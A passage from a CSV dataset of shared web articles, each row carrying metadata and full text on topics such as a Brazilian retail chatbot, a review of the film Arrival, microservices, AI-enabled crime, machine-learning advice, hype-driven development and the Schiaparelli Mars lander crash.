Microsoft , NEON , Redstone 3 , Surface Phone , Windows 10 Mobile",en
1480360462,CONTENT SHARED,3288699993147470797,3609194402293569455,6801231749445176401,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/primeiro-chatbot-do-varejo-brasileiro-no-facebook-messenger-ja-esta-funcionando/,Primeiro chatbot do varejo brasileiro no Facebook Messenger já está funcionando - Startupi,"Os ChatBots são uma das tendências mais fortes da tecnologia atualmente. Com estes robôs, a forma como as empresas se comunicam com seus clientes e vendem seus produtos está se revolucionando. Aqui no STARTUPI já falamos sobre Bots no setor imobiliário , na contabilidade , para delivery de pizza e inúmeras outras funcionalidades , de terapia online até exploração do petróleo. Agora, o ShopFácil.com, em parceria inédita com a Visa, apresenta o primeiro robô do varejo nacional que interage com o público por meio da tecnologia Chatbot no Facebook Messenger. Com a novidade já em funcionamento, os usuários que enviam mensagens pelo link do Messenger têm acesso a um atendimento rápido e dinâmico que oferece os produtos desejados, melhores preços e promoções especiais. O Chatbot é uma ferramenta que utiliza inteligência artificial e processamento de linguagem natural. Interage em tempo real, atendendo às demandas dos clientes. Tudo isso sem sair do Facebook Messenger. Os consumidores contam com recomendação de ofertas baseadas em seu perfil, ferramenta de busca interativa de produtos e acompanhamento de entrega. ""Desde que se começou a interagir com computadores, sempre nós que tivemos que aprender suas linguagens e interfaces. Agora, com a revolução dos bots, eles é que estão aprendendo a interagir conosco em nossa linguagem"", explica Pietro Bujaldon, um dos fundadores do Smarters, startup de inteligência artificial parceira do ShopFácil.com. ""Acreditamos que esses robôs estarão envolvidos na próxima grande revolução da interação entre pessoas e marcas, e que será um canal importante para o e-commerce. A cada dia, o nosso robô aprende mais para melhorar o atendimento sobre dúvidas e facilitar as compras das pessoas. A tendência natural é que os clientes possam comprar qualquer produto, somente dialogando com nosso robô, sem precisar baixar um aplicativo ou abrir uma página em seu navegador. Consumidores brasileiros costumam ser mais ativos em mensagens do que nas redes sociais, e a maior parte os celulares no Brasil tem limitação de plano de dados e de capacidade de memória. Essa tendência vem de encontro a essa necessidade"", afirma Carla Mita, superintendente do ShopFácil.com. A Visa, atenta às transformações do mercado, enxerga no pioneirismo da ação mais uma forma de desenvolver os meios de pagamentos digitais no Brasil. ""Nosso objetivo é ajudar nossos clientes - emissores, credenciadoras e estabelecimentos comerciais - a melhorar a experiência de pagamento de seus consumidores finais. Essa parceria com ShopFacil.com e com o Bradesco é mais um exemplo de como trabalhamos juntos para fortalecer, liderar e desenvolver a revolução dos meios de pagamento no Brasil, sempre com toda a segurança que a marca Visa oferece"", explica Percival Jatobá, Vice-presidente de Produtos da Visa do Brasil. Para o lançamento, com o objetivo de incentivar a utilização do serviço e para acelerar o aprendizado do robô, o ShopFácil e a Visa prepararam uma ação promocional especial. Os usuários que comprarem com cartão Visa até o final do ano pelo Chatbot no Facebook Messenger ganharão um vale de R$ 50 para a próxima compra no ShopFácil.com.",pt
1480422617,CONTENT SHARED,3739926497176994524,8676130229735483748,-2273278933867542008,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://meiobit.com/355936/a-chegada-arrival-review-sem-spoilers/,Resenha - A Chegada,"Supondo que haja vida inteligente no Universo além da civilização humana, ela ainda não fez ou não conseguiu fazer contato. Talvez essa vida inteligente alienígena ainda não esteja em um nível tecnológico que possibilite que a detectemos ou simplesmente os ETs estejam com vergonha de dividir o Universo com a gente. Ou também há a triste possibilidade de os humanos serem a forma vida mais inteligente no Universo conhecido : formas de vida extra-terrestre ainda estariam a evoluir. Supondo que haja sim vida inteligente alienígena e desconsiderando a recomendação de Stephen Hawking , como seria um primeiro contato dos ETs com os seres humanos? Essa é a premissa de um bocado de filmes, séries e tantas outras obras de ficção científica: imaginar como seria um primeiro contato com uma civilização alienígena bem desenvolvida que acabou de chegar ao nosso pequeno planeta azul. A maioria dessas histórias, quando estas não tentam aniquilar a raça humana, não foca tanto na dificuldade que é lidar com uma linguagem totalmente desconhecida: em muitas delas os alienígenas são tão avançados que já sabem inglês. Assim fica fácil, mas e quando os ETs falam de um jeito, escrevem de outro e nada parece ser compreensível por humanos? Como saber o propósito dos visitantes em nosso planeta? Essa é a premissa de . Sony Pictures Brasil - A Chegada | Amy Adams | Hoje nos cinemas Baseado no conto (que Story of Your Life de Ted Chiang, o recente filme da Paramount graças a Odin foi distribuído pela Sony Pictures fora da América do Norte) retrata a dificuldade da lingüista Louise Banks (Amy Adams) e do físico Ian Donnelly (Jeremy Renner) em estabelecer um primeiro contato com seres alienígenas. Seres esses que chegaram ao planeta à bordo de uma dúzia de enormes naves em forma de concha. As naves pairam sobre 12 diversos locais de forma aleatória. Vários países mandam diferentes equipes de militares e cientistas para um primeiro contato. O foco de A Chegada é todo sobre o ponto de vista do imenso trabalho lingüístico de Jó da personagem Louise (Adams) em interpretar os símbolos escritos pelos alienígenas, supostamente pacíficos. E a árdua tarefa de convencer os militares a não matar logo de cara os simpáticos visitantes extra-terrestres com 7 pernas sem antes conhecer o propósito da visita. É um trabalho tão grande, a personagem fica tão imersa no idioma dos heptapodes que ele afeta sua percepção de tempo. E infelizmente uma interpretação bem errada acaba por fazer com que os militares de outra região declarem guerra aos ETs. O filme tem claramente um vilão e ele é a estupidez humana, que desconhece limites. A Chegada foi dirigido pelo mesmo Denis Villeneuve do tenso e isso foi excelente: enquanto em Sicario o espectador não tem descanso algum, em A Chegada quem não parece ter descanso é a protagonista. Seja pela curiosidade, seja pela fascinação pelos visitantes. Ou seja pelo medo... dos humanos. A produção escolheu uma excelente locação para a ""concha"" extra-terrestre pairar e a fotografia é simplesmente linda. O filme se passa quase todo em Montana mas escolheram um belo lugar no Canadá. Se bem que uma das naves paira sobre a Venezuela e a fotografia dos telejornais nos mostra o nível de barbárie que é aquela região. Melhor sorte teve Cuba. Enfim, sobre a trilha sonora original, ela muitas vezes nos faz temer os visitantes. E nos envolve quanto ao drama temporal da Louise. O roteiro é assinado pelo Eric Heisserer ( ele é mais conhecido nos filmes de terror ) e só tem um ou outro problema de ritmo. Tal detalhe não chega a comprometer a obra. Considerações A Chegada é basicamente (1997) feito direito. E sem as aloprações do longo Interestelar . O filme vale cada centavo do ingresso e dura o que tem de durar sem desrespeitar a inteligência do espectador. Não é um filme para todos, assim como Sicario também não era. 4,5 de 5 Lois Lanes. Relacionados: A Chegada , Abbott and Costello , Amy Adams , arrival , Blade Runner 2049 , Denis Villeneuve , Eric Heisserer , Ficção Científica , Forest Whitaker , Jeremy Renner , Sapir-Whorf , Sicario , Sony , Sony Pictures , Story of Your Life , Ted Chiang , The Arrival",pt
1480423373,CONTENT SHARED,-7646922141533719881,1374824663945909617,6069689568663799842,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/using-microservices-architecture-api-enablement-strategy-rafael-rocha,Using Microservices Architecture as API Enablement Strategy,"Today Microservices architecture has become hype topic in software development industry. It is an approach to modularity which functionally decomposes an application into a set of services. The development teams can adopt the most appropriate technology stack in order to resolve specific issues. The microservices architecture also improves services scalability by enabling features such auto-scaling and micro-container approach. API's and Microservices are so related once the most common facade are API interface uses fully compliant RESTful services. But nowaday we are still facing issues when needs to integrate with legacy systems to externalize its functionalities as services once the most systems does not expose standards protocols such as Web Services or REST Interfaces. Let's explore this issue. The Problem and Microservice Approach The most companies desire to expose API's internally or externally but their systems or application were not built for this purpose. The most applications are based on the following architecture: Custom web monolithic applications using a single database. Eg: Java (JSF) with Oracle Database Product or platform based applications such as SAP application High-level applications such as cobol-cics programs Client-Server applications, for example VB6 with SQL Server Database When facing this kind of scenario, it is a common approach build an adapter component to expose the service with standard protocol. This component should look like the diagram below: The service adapter is the key component of solution since it will enable legacy service externalization. To provide this expected standardization, the following capabilities should be implemented: RESTful compliant Organized around common business domains Easily scalable Lightweight packages As service adapters are considered kind of integration applications, they should follow an architectural style in order to be compliant with common standards. The architectural style that best suite the above capabilities and others commons requirements is the Microservice approach. Read more about [1] Microservices . Microservice Implementation Strategy Once decided that service adapter implementation are based on Microservice Architecture style some capabilities are required such as: Small package and low memory consumption Application startup should be fast to load new container instances. Fast and simple development based on common standards such as Swagger specification. Easy security integration to provide features such as Basic Auth or OAuth2. Some frameworks has the most of capabilities listed above. The recommend are: Another crucial capability when enabling API endpoints through Microservice implementation is fully integration capability with legacy systems. This kind of feature requires specific frameworks which implements enterprise integration patterns. The recommendation here is use the most famous Java framework called Apache Camel. Read more about [2] Apache Camel . Microservice Deployment Strategy Once the package were built, it need to be deployed. The recommended strategy is deploy it into a PaaS (Platform as a Service) because it offers some built-in features such as: Containerization Container Orchestration Storage Monitoring Logging Also, another two crucial capabilities should be provided: Being scalable in order to support traffic spikes Automation API's to create autonomous deployment pipeline The main market PaaS offering should be considered to be used as deployment strategy are: Pivotal Cloud Foundry: is good choice when using Spring stack technology because it has a native integration Red Hat OpenShift: could be an alternative when using some Red Hat technology. It also uses docker and kubernetes to containerization SalesForce Heroku: It abstracts the features implementations such as containers or logging. It's a good choice when building applications using the Twelve Factor App methodology Other choices to be considered are Amazon Elastic Beanstalk and Google App Engine . Both of them are interesting because have native integration with cloud services and infrastructure once they are strong IaaS providers. For more details about PaaS features, use the [3] PaaS comparator . Read more about [4] Twelve Factor App. But the best alternative to deploy and run microservices are solutions which provide the runtime platform (PaaS) and fully integration with API Manager Platform. In this case, the Sensedia API Management Suite offers a built-in feature called BaaS (Backend as a Service) which is compliant with PaaS features and capability. The BaaS feature should be used to deploy and run those microservices which exposes API from legacy systems or also when creating new application or services using this architecture style. The Sensedia BaaS platform supports natively the following technologies: Read more about [5] Sensedia API Manager Suite . Microservices and API Management Platforms Once microservices are deployed and running, its interface should be exposed as an API and must be managed using an API Management Suite because this kind of solution offers a lot of advantages. The most of API Manager solutions have the features below: Security and Resilience : to protect backend microservices from non-managed consumers. When the API are open to partners or community, those microservices should be protected from being overloaded with spikes of traffic using capabilities such as rate limit, payload size limit or spike arrest. Access Control: the consumers should use the API under access policies. The API Manager must provide standard protocol such as OAuth 2.0 or JSON Web Token for consumer authentication and generate those tokens. Also, some policies may be configured such as expiration or rate limit. Monitoring and tracing: the operation teams use this capability for platform health check and debugging. All capabilities listed above are common in API Gateway solutions, but other features are crucial for API Manager solutions such as: Caching: should be use to avoid unnecessary microservice use or latency once some read functions may be cached. Note that some cases, the backend services are rated and this feature could minimize some cost. Analytics: the API usage could be monitored in real time. This kind of feature should provide dashboard for metric extractions. As mentioned above, some API Manager platforms offers full integration and management for microservices deployment and runtime capabilities. This kind of feature offers end-to-end management platform, it is not necessary provide aparted infrastructure to run microservices. The Sensedia API Manager Suite provides a solution look like the diagram below: Summary Using microservices architecture style is an development approach to enable RESTful interfaces from legacy systems which not expose these kind of endpoints natively, but the first challenge is choose the right implementation tools. There are a lot of frameworks and languages flavors which could help on microservices implementation. The decision of which one is chosen depends of scenario are being faced but there are some recommendations for help as mentioned above. After development toolkits were chosen, the next decision is establish the microservice runtime and deployment platform. Once more, the decision depends of the scenarios are being faced. But in this case, the main goal is expose a legacy functionality as RESTful API and because this reason, it makes sense deploy the microservices in the same platform. The Sensedia API Management Suite is a API Management Platform which provide the backend as a service (BaaS) feature which performs as microservices runtime having full platform as a services (PaaS) capabilities. Furthermore, the platform offers standard features as API Gateway, Caching and Analytics. In short, the recommendation is use this kind of platform which provide full API management and also microservice runtime in all-in-one solution. References [1] Microservices - [2] Apache Camel - [3] PaaS Comparator - [4] Twelve Factor App - [5] Sensedia API Manager Suite -",en
1480427519,CONTENT SHARED,3801658304588389996,3829784524040647339,-5304034223696459005,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,http://www.nytimes.com/2016/10/24/technology/artificial-intelligence-evolves-with-its-criminal-potential.html?_r=0,"As Artificial Intelligence Evolves, So Does Its Criminal Potential","Imagine receiving a phone call from your aging mother seeking your help because she has forgotten her banking password. Except it's not your mother. The voice on the other end of the phone call just sounds deceptively like her. It is actually a computer-synthesized voice, a tour-de-force of artificial intelligence technology that has been crafted to make it possible for someone to masquerade via the telephone. Such a situation is still science fiction - but just barely. It is also the future of crime. The software components necessary to make such masking technology widely accessible are advancing rapidly. Recently, for example, DeepMind, the Alphabet subsidiary known for a program that has bested some of the top human players in the board game Go, announced that it had designed a program that ""mimics any human voice and which sounds more natural than the best existing text-to-speech systems, reducing the gap with human performance by over 50 percent."" The irony, of course, is that this year the computer security industry, with $75 billion in annual revenue, has started to talk about how machine learning and pattern recognition techniques will improve the woeful state of computer security. But there is a downside. ""The thing people don't get is that cybercrime is becoming automated and it is scaling exponentially,"" said Marc Goodman, a law enforcement agency adviser and the author of ""Future Crimes."" He added, ""This is not about Matthew Broderick hacking from his basement,"" a reference to the 1983 movie ""War Games."" The alarm about malevolent use of advanced artificial intelligence technologies was sounded earlier this year by James R. Clapper, the director of National Intelligence. In his annual review of security, Mr. Clapper underscored the point that while A.I. systems would make some things easier, they would also expand the vulnerabilities of the online world. The growing sophistication of computer criminals can be seen in the evolution of attack tools like the widely used malicious program known as Blackshades, according to Mr. Goodman. The author of the program, a Swedish national, was convicted last year in the United States. The system, which was sold widely in the computer underground, functioned as a ""criminal franchise in a box,"" Mr. Goodman said. It allowed users without technical skills to deploy computer ransomware or perform video or audio eavesdropping with a mouse click. The next generation of these tools will add machine learning capabilities that have been pioneered by artificial intelligence researchers to improve the quality of machine vision, speech understanding, speech synthesis and natural language understanding. Some computer security researchers believe that digital criminals have been experimenting with the use of A.I. technologies for more than half a decade. That can be seen in efforts to subvert the internet's omnipresent Captcha - Completely Automated Public Turing test to tell Computers and Humans Apart - the challenge-and-response puzzle invented in 2003 by Carnegie Mellon University researchers to block automated programs from stealing online accounts. Both ""white hat"" artificial intelligence researchers and ""black hat"" criminals have been deploying machine vision software to subvert Captchas for more than half a decade, said Stefan Savage, a computer security researcher at the University of California, San Diego. ""If you don't change your Captcha for two years, you will be owned by some machine vision algorithm,"" he said. Surprisingly, one thing that has slowed the development of malicious A.I. has been the ready availability of either low-cost or free human labor. For example, some cybercriminals have farmed out Captcha-breaking schemes to electronic sweatshops where humans are used to decode the puzzles for a tiny fee. Even more inventive computer crooks have used online pornography as a reward for human web surfers who break the Captcha, Mr. Goodman said. Free labor is a commodity that A.I. software won't be able to compete with any time soon. So what's next? Criminals, for starters, can piggyback on new tech developments. Voice-recognition technology like Apple's Siri and Microsoft's Cortana are now used extensively to interact with computers. And Amazon's Echo voice-controlled speaker and Facebook's Messenger chatbot platform are rapidly becoming conduits for online commerce and customer support. As is often the case, whenever a communication advancement like voice recognition starts to go mainstream, criminals looking to take advantage of it aren't far behind. ""I would argue that companies that offer customer support via chatbots are unwittingly making themselves liable to social engineering,"" said Brian Krebs, an investigative reporter who publishes at krebsonsecurity.com . Social engineering, which refers to the practice of manipulating people into performing actions or divulging information, is widely seen as the weakest link in the computer security chain. Cybercriminals already exploit the best qualities in humans - trust and willingness to help others - to steal and spy. The ability to create artificial intelligence avatars that can fool people online will only make the problem worse. This can already be seen in efforts by state governments and political campaigns who are using chatbot technology widely for political propaganda. Researchers have coined the term ""computational propaganda"" to describe the explosion of deceptive social media campaigns on services like Facebook and Twitter. In a recent research paper , Philip N. Howard, a sociologist at the Oxford Internet Institute, and Bence Kollanyi, a researcher at Corvinus University of Budapest, described how political chatbots had a ""small but strategic role"" in shaping the online conversation during the run-up to the ""Brexit"" referendum. It is only a matter of time before such software is put to criminal use. ""There's a lot of cleverness in designing social engineering attacks, but as far as I know, nobody has yet started using machine learning to find the highest quality suckers,"" said Mark Seiden, an independent computer security specialist. He paused and added, ""I should have replied: 'I'm sorry, Dave, I can't answer that question right now.'""",en
1480440770,CONTENT SHARED,-3745582971859460684,3829784524040647339,-5304034223696459005,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,http://machinelearningmastery.com/dont-implement-machine-learning-algorithms/,Stop Coding Machine Learning Algorithms From Scratch - Machine Learning Mastery,"You Don't Have To Implement Algorithms ... if you're a beginner and just getting started. Stop. Are you implementing a machine learning algorithm at the moment? Why? Implementing algorithms from scratch is one of the biggest mistakes I see beginners make. In this post you will discover: The algorithm implementation trap that beginners fall into. The very real difficulty of engineering world-class implementations of machine learning algorithms. Why you should be using off-the-shelf implementations. Let's get started. Caught In The Implementation Trap Here's a snippet of an email I received: ... I am really struggling. Why do I have to implement algorithms from scratch? It seems that a lot of developers get caught in this challenge. They are told or imply that: Algorithms must be implemented before being used. Or that: You can only learn machine learning by implementing algorithms. Here are some similar questions I stumbled across: Why is there a need to manually implement machine learning algorithms when there are many advanced APIs like tensorflow available? ( on Quora ) Is there any value implementing machine learning algorithms by yourself or should you use libraries? ( on Quora ) Is it useful to implement machine learning algorithms? ( on Quora ) Which programming language should I use to implement Machine Learning algorithms? ( on Quora ) Why do you and other people sometimes implement machine learning algorithms from scratch? ( on GitHub ) You're Probably Doing it Wrong You don't have to implement machine learning algorithms from scratch. This is a part of the bottom-up approach traditionally used to teach machine learning. Learn Math. Learn Theory. Implement Algorithm From Scratch. ??? (magic happens here ). Apply Machine Learning. It is a lot easier to apply machine learning algorithms to a problem and get a result than it is to implement them from scratch. A Lot Easier! Learning how to use an algorithm rather than implement an algorithm is not only easier, it is a more valuable skill. A skill that you can start using to make a real impact very quickly. There's a lot of low-hanging fruit that you can pick with applied machine learning. Implementing Machine Learning Algorithms Well ...is Really Hard! Algorithms that you use to solve business problems need to be fast and correct . Fast Algorithms The more sophisticated nonlinear methods require a lot more data than their linear counterparts. This means they need to do a lot of work, which may take a long time. Algorithms need to be fast to process through all of this data. Especially, at scale. This may require a re-interpretation of the linear algebra that underlies the method in such a way that best suits a specific matrix operation in an underlying library. It may require specialized knowledge of caching to make the most of your hardware. These are not ad hoc tricks that come together after you get a "" hello world "" implementation working. These are engineering challenges that encompass the algorithm implementation project. Correct Algorithms Machine learning algorithms will give you a result, even when their implementation is crippled. You get a number. An output. A prediction. Sometimes the prediction is correct and sometimes it is not. Machine learning algorithms use randomness. They are stochastic algorithms . This is not just a matter of unit tests, it is a matter of having a deep understanding of the technique and devising cases to prove the implementation is as expected and edge cases are handled. Use An Off-The-Shelf Implementation You may be an excellent engineer. But your "" hello world "" implementation of an algorithm will probably not cut-it when compared to an off-the-shelf implementation. Your implementation will probably be based on a textbook description, meaning it will be naive and slow. And you may or may not have the expertise to devise tests to ensure the correctness of your implementation. Off-the-shelf implementations in open source libraries are built for speed and/or robustness. How could you not use a standard machine learning library? They may be tailored to a very narrow problem type intended to be as fast as possible. They may also be intended for general purpose use, ensuring they operate correctly on a wide range of problems, beyond those you have considered. Libraries Are Not All Created Equal Not all algorithm implementations you download off the Internet are created equal. The code snippet from GitHub maybe a grad students "" hello world "" implementation, or it may be the highly optimized implementation contributed to by the entire research team at a large organization. You need to evaluate the source of the code you are using. Some sources are better or more reliable than others. General purposes libraries are often more robust at the cost of some speed. Lighting fast implementations by hacker-engineers often suffer poor documentation and are highly pedantic when it comes to their expectations. Consider this when you pick your implementation. Recommendations When asked, I typically recommend one of three platforms: Weka . A graphical user interface that does not require any code. Perfect if you want to focus on the machine learning first and learning how to work through problems. Python . The ecosystem including pandas and scikit-learn. Excellent for stitching together a solution to a machine learning problem in development that is robust enough to also be deployed into operations. R . The more advanced platform that although has an esoteric language and sometimes buggy packages, offers access to state-of-the-art methods written directly by academics. Great for one-off projects and R&D. These are just my recommendations, there are many more machine learning platforms to choose from. Sometimes You Must Implement You do not have to implement machine learning algorithms when getting started in machine learning. But you can. And there can be very good reasons for doing so. For example here are 3 big reasons: You want to implement to learn how the algorithm works. There is no available implementation of the algorithm you need. There is no suitable (fast enough, etc.) implementation of the algorithm you need. The first is my favorite. It's the one that may have confused you. You can implement machine learning algorithms to learn how they work. I recommend it. It's very efficient for developers to learn this way. But. You do not have to start by implementing machine learning algorithms. You will build your confidence and skill in machine learning a lot faster by learning how to use machine learning algorithms before implementing them. The implementation and any research required to complete the implementation would then be an improvement on your understanding. An addition that would help you to get better results the next time you used that algorithm. Summary In this post, you discovered that beginners fall into the trap of implementing machine learning algorithms from scratch. They are told that it's the only way. You discovered that engineering fast and robust implementations of machine learning algorithms is a tough challenge. You learned that it is much easier and more desirable to learn how to use machine learning algorithms before implementing them. You also learned that implementing algorithms is a great way to learn more about how they work and get more from them, but only after you know how to use them. Have you been caught in this trap? Share your experiences in the comments. Further Reading",en
1480444518,CONTENT SHARED,1873952032843878490,1374824663945909617,6069689568663799842,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,https://blog.daftcode.pl/hype-driven-development-3469fc2e9b22?gi=e33d58da65a1,Hype Driven Development,"Software development teams often make decisions about software architecture or technological stack based on inaccurate opinions, social media, and in general on what is considered to be ""hot"", rather than solid research and any serious consideration of expected impact on their projects. I call this trend Hype Driven Development, perceive it harmful and advocate for a more professional approach I call ""Solid Software Engineering"". Learn more about how it works and find out what you can do instead. New technology - new hope Have you seen it? A team picking newest, hottest technology to apply in the project. Someone reads a blog post, it's trending on Twitter and we just came back from a conference where there was a great talk about it. Soon after, the team starts using this new shiny technology (or software architecture design paradigm), but instead of going faster (as promised) and building a better product they get into trouble. They slow down, get demotivated, have problems delivering next working version to production. Some teams even keep fixing bugs instead of delivering new features. They need 'just a few more days' to sort it all out. Hype Driven Development Hype Driven Development (HDD) has many flavors and touches your project in many different ways: Reddit driven development  - when a team or individual decide on technology/architecture/design based on what popular blogger wrote or what is hot on reddit, hackernews, blogs twitter, facebook, GitHub or other social media. Conference driven development  - watch carefully what happens after people are back from conference. People get inspired. And that's a two-edged sword. Starting to use newest hottest lib/framework/architecture paradigm without enough research might be a highway to hell. Loudest guy driven decisions  - is when one guy is talking all the time about this new framework/lib/tech's that he has no experience with, but talks about it all the time and finally the team decides to use it. Gem/lib/plugin driven development  - a specially strong in Ruby On Rails community, where occasionally I can see a Gemfile so long that the only thing longer is the time it takes to load the app. It comes from the idea that every problem in rails should be solved with a gem. Sometimes it would take a couple of lines to build solution ourselves. But we're just solving problems by adding libs, plugins, gems or frameworks. I would also mention here behavior popular among hype driven developers -  Stack Overflow driven development  - when developers copy-paste solutions from Stackoverflow (or in general from the internet) without really understanding them. HDD is how teams bring doom on themselves The problem with hype is that it easily leads to bad decisions. Both bad architectural decisions and technological stack decisions often hunt a team months or even years later . In worst case they may lead to another very problematic situation in software engineering: The Big Rewrite . Which almost never works out. The root of all evil seems to be social media  - where new ideas spread much faster than they get tested.Muchfaster than people are able to understand their pros and cons. The Anatomy of Hype Most hypes have similar structure. Here it goes: Step 1: Real problem and solution They start in some company with a problem. A team within some company decides that solution to the problem is beyond the current technological stack, process or architecture. The company creates a new framework, library or paradigm and soon the problem is solved. Step 2: Announcement, buzz and keywords The team is excited to show their work to the rest of the world and soon they write blog posts and do talks on conferences. The problem oftentimes is non-trivial, so they are proud to present the impressive results of a non-trivial solution. People get excited about the new technology. The only problem is not everybody who gets excited is able to fully understand what the exact problem was and all the details of the solution. It was a non-trivial problem with a non-trivial solution after all. Takes more than a tweet, chit-chat or even blog post to explain. With communication tools like social media, blog posts and conference lightning talks the message gets blurred along the way. Step 3: Mania starts All shades of hype driven developers read blog posts and attend conferences. Soon the teams all over the world start using the new technology. Due to the blurred message - some of them make hasty decision to use framework even though it does not solve any of their actual problems. Yet the team does have expectation that this new technology will help. Step 4: Disappointment As the sprints go by, the technology does not improve the team's life as much as people hoped, but brings a lot of extra work. There's a lot of rewriting the code and extra learning for the team. Teams slow down, management gets pissed off. People feel cheated. Step 5: Realisation! Finally the team does retrospection and realizes what are the tradeoffs of the new technology and for what purpose it would be more relevant. They get wiser... till the next hype shows up. Examples of Hype: Let's examine some examples of hypes and see how those went through. Example 1: React.js Step 1: Facebook has a problem - advanced one page apps like Facebook itselves have, so many state changing events that it is hard to keep track what's going on and keep the application state consistent. Step 2: Facebook promotes new paradigm with buzzwords: functional, virtual DOM, components. Step 3: Mania: Facebook has created the front-end framework of the future! Let's write everything in react from now on! Step 4: Wait there is a lot of work, but no quick return on investment! Step 5: React is great for advanced one page app with lots of real-time notifications, but does not necessarily pay off for simpler applications. Example 2: TDD is dead by DHH Step 1: David Heinemeier Hansson (DHH, creator of Ruby on Rails framework) realises that it is hard to do TDD with Rails as this framework doesn't have architecture supporting good OOP. Makes a pragmatic choice - not to write tests upfront. Step 2: Hype starts with DHH blog post and conference talk . Hype keywords: TDD is DEAD. Step 3: Let's skip tests! Our Guru says so. We didn't write them anyway. Now we're at least not pretending. We're finally honest. Step 4: Wait! Even fewer things work now than before. We've built a buggy code. Step 5: ""TDD is not dead or alive. TDD is subject to tradeoffs, including risk of API changes, skill of practitioner and existing design"" - Kent Beck. Example 3: Microservices Step 1: Big monolith application scales hard. There is a point when we can break them down into services. It will be easier to scale in terms of req/sec and easier to scale across multiple teams. Step 2: Hype keywords: scalability, loose coupling, monolith. Step 3: Let's rewrite all to services! We have a 'spaghetti code' because we have a monolith architecture! We need to rewrite everything to microservices! Step 4: Shit! It is now way slower to develop the app, difficult to deploy and we spend a lot of time tracking bugs across multiple systems. Step 5: Microservices require a lot of devops skills in the team and with right investment might pay off as a way to scale the system and team. Before you reach serious scale issues it's an overinvestment. Microservices are extracted not written. You must be this tall to use microservices. Example 4: NoSQL Step 1: SQL databases have problems with high loads and unstructured data. Teams around the world start developing new generation of databases. Step 2: Hype keywords: Scalability, BigData, High Performance. Step 3: Our database is too slow and not big enough! We need NoSql! Step 4: We need to join tables? That is a no go. Simple SQL operations are becoming increasingly challenging. Development is slow and our core problems are not solved. Step 5: NoSql are tools to solve very specific problems (either extremely high volumes of data, unstructured data or very high load). SQL is actually a great tool and handles high load and huge data volumes well if used skillfully. The case for NoSql is still pretty rare in 2016. Example 5: Elixir and Phoenix (or put your favorite lang/framework pair here) Step 1: Web frameworks like Ruby On Rails don't deal well with with high performance applications, distributed applications and websockets. Step 2: Hype keywords: Scalability, High Performance, Distributed, Fault-tolerant. Step 3: Oh my good, our application is slow and our chat is not scalable! Step 4: Wow, learning functional programming and distributed approach is not that easy. We are now really slow. Step 5: Elixir and Phoenix is great framework, but takes significant effort to learn. It will pay back in a long run if you need specifically high performance app. The list goes on and on: In this crowded space of computer engineering we have a lot of areas where hypes are common. In JavaScript world new frameworks are born everyday. Node.js (keywords: event programming), reactive programming, Meteor.js (keywords: shared state), front-end MVC, React.js. You name it. In software engineering new architectures are born: Domain Driven Development, Hexagon, DCI. What is your favorite hype?",en
1480445512,CONTENT SHARED,3116298625885250927,3061273947166110301,5542718316163524441,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://spaceflightnow.com/2016/11/25/esa-says-doomed-mars-lander-succumbed-to-bad-altitude-reading/,ESA says doomed Mars lander succumbed to bad altitude reading,"One second of faulty data led to the destruction of a European spacecraft on final descent to Mars last month, officials said Wednesday. An unexplained error in the Schiaparelli lander's Inertial Measurement Unit, or IMU, fed incorrect data into the craft's navigation computer, causing the probe to think it was already on the surface when it was actually still several miles above the planet, the European Space Agency said. The IMU measured the rotation rate of the saucer-shaped lander during its descent, but engineers said the system became saturated - indicating maximum measurement - soon after Schiaparelli deployed its supersonic parachute and released the lower half of its heat shield as intended. The erroneous saturation measurement lasted about one second, ESA said in a statement, and the flawed data caused Schiaparelli's guidance system to believe the spacecraft was below ground level. Sensing the probe was already landed, the computer prematurely cut Schiaparelli's parachute and backshell free, and the lander briefly ignited its braking rockets for a few seconds before initiating a post-landing command sequence as if the craft had already touched down on Mars. Schiaparelli was still about 12,000 feet (3,700 meters) above Mars when it began its free fall, ESA said, and the lander's nine thrusters were supposed to fire for around 30 seconds. Engineers analyzing telemetry recorded during the Oct. 19 descent have reproduced the events in computer simulations, ESA said. Schiaparelli was aiming for ESA's first successful landing on Mars. The demonstrator was expected to pave the way for a Mars lander and rover set for launch in July 2020, and officials said lessons learned from last month's attempt will still make the follow-up mission possible. The joint European-Russian ExoMars program includes two missions. The first launch dispatched the European-built Trace Gas Orbiter and Schiaparelli lander - both manufactured by an industrial team led by Thales Alenia Space - to the red planet in March, for an arrival last month, and the second launch in 2020 will include a descent stage and fixed landing platform primarily provided by Russia, and a European-made rover to search for signs of life. David Parker, ESA's director of human spaceflight and robotic exploration, cautioned the result of the Schiaparelli investigation is ""still a very preliminary conclusion."" ESA has set up an independent inquiry board to study the failed landing, with a final report due in early 2017, he said. ""But we will have learned much from Schiaparelli that will directly contribute to the second ExoMars mission being developed with our international partners for launch in 2020,"" Parker said in a statement. ESA officials touted Schiaparelli's performance up until the fatal IMU error. A downward-facing Doppler radar altimeter functioned as expected and supplied accurate altitude information to the lander's computer, the agency said. European engineers will provide a near-copy of the Doppler radar design for the ExoMars 2020 descent module, which will be assembled in Russia but will carry some ESA-provided components in its guidance system. Officials estimate Schiaparelli hit the ground at nearly 200 mph (300 kilometers per hour), leaving a crater identified in images from NASA's Mars Reconnaissance Orbiter. The lander may have exploded at impact because its fuel tanks were still mostly full. Schiaparelli was heading for a landing in Meridiani Planum, a broad plain near the Martian equator. The battery-powered probe was designed to last at least four days on the surface, and perhaps more than a week, returning weather observations. But the lander's primary purpose was as an engineering testbed, and ESA officials believe they can harvest enough lessons 